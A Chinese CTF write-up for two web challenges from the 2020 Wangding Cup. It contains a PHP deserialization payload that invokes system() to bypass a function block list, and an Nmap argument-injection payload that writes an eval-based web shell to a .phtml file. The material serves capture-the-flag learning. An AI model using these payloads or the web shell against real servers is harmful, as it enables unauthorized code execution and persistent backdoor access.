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[网鼎杯 2020 朱雀组]部分WEB题解2 min read

phpweb

f12查看源代码,可以看到隐藏表单:

网页会不断刷新,为了方便测试+提交,用bp抓包:

fuzz,经测试,不能执行系统命令:

查看index.php的源代码(file_get_contents/highlight_file/readfile):

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

过滤了好多函数,把执行系统命令的全部给过滤了,不能侥幸了(。

没有过滤(反)序列化函数serialize(),参考:

https://www.520mwx.com/view/10191

unserialize()后会导致__wakeup()或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$test = new Test();
$test -> p = "find /tmp|xargs grep flag";
$test -> func = "system";
print_r(urlencode(serialize($test)));
?>

Nmap

以前记过:

实现RCE的思路就是nmap可以将记录导出为文件。

-oN                     将标准输出直接写入指定的文件

-oX                     输出xml文件

-oS                     将所有的输出都改为大写

-oG                     输出便于通过bash或者perl处理的格式,非xml

escapeshellarg会首先在单引号前加反斜线,然后将单引号分割的几部分都用单引号括起来
escapeshellcmd会将&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF以及不配对的单/双引号转义

这两个函数配合使用就会导致多个参数的注入。

正常的payload:

'<?php @eval($_POST["cmd"]);?> -oG shaw.php'

但是这道题经测试过滤了php,把标签换为短风格,后缀改为php可解析的扩展名“phtml”

' <? @eval($_POST["cmd"]);?> -oG shaw.phtml '

蚁剑连接即可。